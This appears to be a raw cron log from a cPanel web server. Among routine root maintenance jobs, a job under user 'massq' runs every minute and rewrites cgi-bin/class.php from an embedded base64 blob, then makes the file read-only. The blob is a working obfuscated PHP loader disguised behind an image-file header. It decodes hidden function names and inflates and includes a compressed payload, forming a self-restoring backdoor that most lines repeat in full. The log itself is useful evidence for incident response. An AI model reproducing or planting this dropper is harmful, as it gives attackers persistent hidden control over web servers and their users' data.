Nov 16 02:31:01 server CROND[6869]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:32:01 server CROND[7063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:33:01 server CROND[7176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:34:01 server CROND[7287]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:35:01 server CROND[7398]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 02:35:01 server CROND[7400]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:35:01 server CROND[7401]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 02:35:01 server CROND[7402]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 16 02:35:01 server CROND[7403]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 02:36:01 server CROND[7560]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:37:01 server CROND[7732]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:38:01 server CROND[7877]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:39:01 server CROND[7975]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:39:01 server CROND[7976]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 16 02:40:01 server CROND[8088]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 02:40:01 server CROND[8089]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 02:40:01 server CROND[8090]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 02:40:01 server CROND[8091]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:41:01 server CROND[8253]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:42:01 server CROND[8350]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:42:01 server CROND[8351]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 16 02:43:01 server CROND[8547]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
